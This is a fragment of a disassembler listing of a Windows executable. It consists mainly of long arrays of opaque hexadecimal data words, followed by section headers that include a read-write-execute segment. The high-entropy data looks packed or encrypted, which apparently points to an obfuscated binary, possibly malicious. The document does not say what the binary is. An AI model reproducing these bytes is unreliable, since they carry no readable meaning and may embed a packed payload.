		dd 2721B787h, 0B2C09788h, 0BC3F5FF1h, 1AA10A28h, 61689B7Bh
		dd 38C7706Ah, 0AB11C492h, 9F11093Eh, 23B40A57h,	0B6A784A8h
		dd 0B3425107h, 13150128h, 62E62658h, 27C36115h,	0E24BF9E8h
		dd 0F799CD7Dh, 70C08B2Ch, 805FC642h, 1BA2FB9Ah,	70597D7h
		dd 62DA7BEh, 5EE2FE5Ch,	4EA6DE85h, 26ACD5E1h, 0FFF29944h
		dd 0B26585FCh, 7D08ED48h, 0A204894Ch, 514E2FD3h, 0E285DAA9h
		dd 7445B87Ch, 178E0908h, 1EF36E39h, 9BAF3728h, 0CABD4E71h
		dd 0B3D0828h, 0E1D65B35h, 75E103EDh, 3DB6509Bh,	91939966h
		dd 5C7CA9B1h, 0FCBC810Ah, 7C36AEA2h, 0BB54F49h,	1E71BEABh
		dd 0EE5766D4h, 0A4C76F8Bh, 51711EEAh, 35612AFBh, 0BB9139B0h
		dd 18A9A6D1h, 0EDFFFE87h, 0A049307Bh, 9B6F3E3Dh, 6679EA89h
		dd 313DAB65h, 6D5F5949h, 0D5C3B101h, 0A2135328h, 4876D65h
		dd 1730B76Ah, 0E6DE7E8Dh, 43E56BC2h, 0E2E70C8h,	0CB24507Dh
		dd 0D5A804AEh, 5112D0CFh, 651F115Dh, 0B4B52D3Dh, 0A63C0E47h
		dd 0DBF1037Dh, 0DCADE3E5h, 0B18775CBh, 7D4CEAEFh, 3610E06Bh
		dd 4FC3F63h, 0C67531B4h, 0F75E5649h, 0D087F585h, 0DCF47B0Eh
		dd 88DED595h, 11E0B02Ah, 0B648C8C9h, 0A5F7DA48h, 0CCDAB6FFh
		dd 19F825E0h, 63FD1506h, 920E9596h, 0B5C29276h,	8F457572h
		dd 4DDE84ACh, 9DBB2BE6h, 0DF6E905Ah, 74AD6925h,	2FB80992h
		dd 0EA75E3BBh, 0F2A547A1h, 43400ADEh, 31198698h, 5B7C25BEh
		dd 0A9E62CBFh, 59960C16h, 80C08841h, 0B1E096AEh, 44445C08h
		dd 16D16E7Dh, 0FFB50C30h, 249393F1h, 8B43950Eh,	844D1DE0h
		dd 0E8F727BCh, 0AA8B20EAh, 0A5EB79C2h, 52DD7508h, 5FFB404Dh
		dd 361B09FBh, 60F1D6D2h, 0E61299F1h, 9D48F776h,	898F84CCh
		dd 0AE5CABB6h, 0B3A85A8Ah, 148678CCh, 0AC1380C9h, 98843DFBh
		dd 578488C2h, 4661791Fh, 0D3D4389Bh, 6640AFBAh,	0A987FAEEh
		dd 4F854716h, 55FDE4C2h, 58A74E96h, 69AE811Ch, 39C915DCh
		dd 4F769054h, 0B717E8D9h, 839C4695h, 0D86F8346h, 0B516FB2Ch
		dd 9F6C76EDh, 0B777A803h, 0DFA18AC8h, 0B0ADD52Eh, 0B448F219h
		dd 1271C311h, 0AC01E8CCh, 8E7509E1h, 0D84CF587h, 0C7AC7A82h
		dd 403BA837h, 4B3BF154h, 0E80CD214h, 0FD78D2B2h, 3D9D0096h
		dd 841E09h, 648D8472h, 0F0042280h, 0E68446DAh, 0AA005CC0h
		dd 3AAD5F20h, 0AC4E965h, 0E4A6B3D6h, 0A66212E0h, 22A54AF1h
		dd 0F2F376EDh, 3DD90C2Bh, 8B8A10AEh, 0E4DF33D7h, 4A9F6A01h
		dd 0CAF6FFC7h, 0E654B7h, 6B44630Eh, 0C94CDC7h, 4FF3901Fh
		dd 1D400724h, 124F5AC3h, 0C95C6425h, 0CC2CD01Bh, 0CB80FA1h
		dd 243BCEF8h, 6282C0B9h, 0D78F02BDh, 19CE457Dh,	40AE9225h
		dd 0A337F72Dh, 0E120106Ch, 0CA5E201h, 0CE4D0B9Dh, 0D9E41F8Ch
		dd 0D38CA1BFh, 0B575E042h, 411A390Dh, 3CC49882h, 0A0301886h
		dd 9CC321AEh, 7EA2752Dh, 91D0DA23h, 0D15A6995h,	194C0A0Fh
		dd 43BD66BFh, 2A6C37D4h, 0A484361Fh, 34BC3E5Ch,	0D77A89D4h
		dd 29060302h, 5FBB0779h, 1574C8ACh, 709261DDh, 769A1581h
		dd 74615F1Ch, 0BE242A51h, 0C335B472h, 81AE7B43h, 16B02C3Bh
		dd 0CEC62D4h, 0ECA25E0Bh, 93EF6024h, 9306443Dh,	0B3DB256Ah
		dd 85978447h, 62191C8Ch, 0A04BC700h, 49842B6Bh,	0E8A29EB4h
		dd 0AC60FA8Eh, 7139798Eh, 43F7F6BFh, 6101E0FAh,	0BA08A84Bh
		dd 0D58E6D00h, 0C72CC215h, 0BB91A3Eh, 3BFDF4E7h, 80EFCA6Dh
		dd 75960DBh, 949279h, 0D46E1FBh, 7D88F94h, 0B946F257h
		dd 0AF61CBAAh, 0AAF46F22h, 0ADF4F5FCh, 4438013Eh, 37A31395h
		dd 60E62FAFh, 350D454Eh, 1CDE4786h, 0A388ECBBh,	18AB713Bh
		dd 9B1DEF88h, 57E5615Bh, 9BC7BCE3h, 14D99424h, 204F84E2h
		dd 6838B68Bh, 63A4C44Eh, 704D9713h, 62CCCCCAh, 0A0497A19h
		dd 0DBB7FF8Bh, 3D46E8F1h, 945BCAFCh, 0CB6EA0E2h, 0CB68A3CFh
		dd 0FE51129Bh, 14AB696h, 0D16C6990h, 0BC7D20DCh, 5F061D77h
		dd 9B082477h, 4C7916A2h, 0BCEEECC6h, 40E8E394h,	49843975h
		dd 0FC659509h, 814B6AAh, 0AC131D8Ah, 9C65A15Ah,	0AB38048h
		dd 0B3728E21h, 74D3605Ch, 7AAB4D11h, 0AA78FD27h, 0DF256BD5h
		dd 37392504h, 0A4A2913Fh, 8F5683Ah, 4A9EB324h, 0E9BA805Dh
		dd 12299322h, 0B0AADF34h, 4551D158h, 2C389EE5h,	4B4FA6CFh
		dd 17B847E3h, 865BBAA1h, 0B62BD5DDh, 736D20B8h,	0A71EEF2Eh
		dd 8A64AD60h, 0A27DB9DBh, 33ED4C2Eh, 1CDA0DECh,	70B5BF2h
		dd 93E8A59h, 734340Ch, 5B0B38BAh, 3320252Ah, 7B3810E5h
		dd 9B2BB7BDh, 9AE5F95Eh, 0C01CE8A1h, 2E5498B3h,	1F995FB1h
		dd 7EA2551Ch, 0F9CC2B90h, 0E8AEFAE0h, 0BCB985C5h, 399B70EBh
		dd 1E67249Ah, 15405325h, 0C52F6326h, 0BF4E30BCh, 0DDFA44A1h
		dd 415E17A8h, 0C2D49644h, 0F15997C0h, 0ABBEF2C3h, 0B05F6176h
		dd 58D05665h, 0F11900F1h, 9F19B4E8h, 0FCFEF6Eh,	63CDA41Ah
		dd 0BB63BC52h, 0EE6B76FCh, 2A699A64h, 0D9E67C00h, 0E901E9Dh
		dd 54448508h, 4560BBA4h, 0B407D742h, 334C6A6h, 43B6617Bh
		dd 4D52DD87h, 36D293C8h, 3D25BC44h, 7B2D7553h, 217D6FBCh
		dd 73B447E2h, 0CDE44E81h, 0D18FBCC2h, 0D08DA245h, 6040E3C7h
		dd 0A997B18Ah, 1E3CF0CAh, 0D581A41h, 5B0F2D96h,	3C18E24Dh
		dd 319D1447h, 4F179A9Ch, 28A48A1Ah, 7BB3C157h, 0B214F334h
		dd 3CAAh, 9A0A635Eh, 8F36A146h,	5F4DA9C5h, 0E0384A5Eh
		dd 0A1F43DABh, 444468E0h, 0B4D26D8Fh, 6B111E9Fh, 48EBC49Dh
		dd 0AAFD47D1h, 0DDFC8ACBh, 0F87ABD4Eh, 0C93E4DC1h, 75BDB5A2h
		dd 0C98C8491h, 8BC621F1h, 26C94244h, 94B727A7h,	64A7EE30h
		dd 1D78AEF7h, 8CA81C22h
		dd 0A6AAF331h, 0FD89635Ch, 0DF12FDDh, 0D0E25357h, 698A4EB8h
		dd 0C7327063h, 932BBB67h, 0D71D470Dh, 283A3215h, 3818865Ah
		dd 2B57AACAh, 94A36CFh,	2C3050A7h, 83D4ED4Ch, 6A087DEh
		dd 0BE592BB5h, 2C30058Ch, 4DAAF6Dh, 7FCFF851h, 0B3E7EC9Ah
		dd 0BFF442CBh, 0B31D8946h, 84FDB8D1h, 77EEED43h, 0C9E48488h
		dd 91C7E0E7h, 0B478142h, 0D9763C98h, 0EDBCBD32h, 1BE9AA1Dh
		dd 7F78FBE9h, 5D4275CFh, 0FC444CAFh, 0B42A6493h, 33BFB29Fh
		dd 0A685AE9Fh, 65FBE198h, 1F70FA14h, 0CD5BFE02h, 0ED8D6D6Bh
		dd 0A4CC7C5Bh, 0E39EC5ACh, 0BE4DFC9Fh, 6C789077h, 0B6BB4F74h
		dd 0C83969E1h, 0A906752Ch, 0CDDD4518h, 8494B898h, 3C1AD4E0h
		dd 0DA19D4ACh, 9F85F3DFh, 569C2DEBh, 0C62028AEh, 0B1E915ABh
		dd 0C21431CEh, 42422929h, 7CDFA857h, 165FB366h,	0D8BAAE86h
		dd 9DCD24DAh, 6A54AD1Bh, 0E68F9AFAh, 0B6E62878h, 6A117A83h
		dd 98C97A5h, 6772169Dh,	0D3F45913h, 0CA1763D1h,	0A95CB437h
		dd 0B090C3C4h, 0B9DDE5F5h, 6CD1DBCFh, 0E80E3ED8h, 24B57E5Ah
		dd 73E7511Eh, 0FDD09B13h, 1E0F3C8Ah, 0D89C53EAh, 0FD57E919h
		dd 9AE702EBh, 0C8A57D71h, 0BA16FD6h, 0B91CB933h, 3DE80596h
		dd 599840Dh, 8D751181h,	0D98577A9h, 2D4C246Ah, 0F7EA7963h
		dd 3AC47481h, 0D1EC75D5h, 70E25709h, 407C162Fh,	61F2C6D1h
		dd 0C86B9562h, 3E88FD8Fh, 69C79B16h, 37BF18FDh,	7873078h
		dd 66D2D0C8h, 568ABBD2h, 49FE4557h, 68E410F1h, 0CCBDCF56h
		dd 0B67A8E66h, 0E946EC21h, 0C9F15686h, 0CF6234E9h, 70ED814Ch
		dd 0A1995EC2h, 7C9C76FCh, 0BDA05E6Ch, 199445A4h, 9E2187F5h
		dd 0B0011A5Ch, 42D1C733h, 5C22BC67h, 27D5E8F8h,	0EA171C19h
		dd 0D677F031h, 72FDF193h, 52F81BCh, 7262704Ah, 35EF5422h
		dd 8BF60260h, 0FBD8C013h, 0BFA618D2h, 0C42053BCh, 45F00E6Ch
		dd 325E76E5h, 0EC941296h, 82528E3h, 14922CEBh, 0A6DDC35Dh
		dd 287747A7h, 1508D5D6h, 0B9F956DAh, 9DB50819h,	20E97D78h
		dd 0FA69165Eh, 0AF6B5A2Eh, 1235D458h, 7784480Bh, 3B344CFEh
		dd 9AFCC900h, 244DDB30h, 318AF420h, 334B7327h, 0BA4EEDC1h
		dd 8B40DCB8h, 249F7E65h, 8F3C0F64h, 5930AF6Dh, 552993Bh
		dd 69727BABh, 0BAEC1A8Bh, 395B8EB4h, 0C476C466h, 0C96F1110h
		dd 4C4CF8EEh, 91D8D2Eh,	0E405EE7Bh, 3470DC31h, 7D04688Ah
		dd 0CF082589h, 0D5637B7Eh, 266CEB5Bh, 91256B36h, 60A331BCh
		dd 0CCBA8C68h, 2327A5BAh, 4DD93FD6h, 0C71CE135h, 37A4F552h
		dd 1DE2BD89h, 61184989h, 0BBF4AB09h, 28DB28ABh,	0EA0F2744h
		dd 0DE4D06D8h, 0FB33623h, 0C8EC2965h, 0B3F5FBD2h, 0A30FFBE9h
		dd 1B965077h, 0C7E47A25h, 637276BEh, 300h dup(0)
_data		ends

; Section 5. (virtual address 0007C000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0007C000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_adata		segment	para public 'CODE' use32
		assume cs:_adata
		;org 47C000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 400h	dup(0)
_adata		ends

; Section 6. (virtual address 0007D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0007D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 47D000h
		align 2000h
_idata2		ends


		end start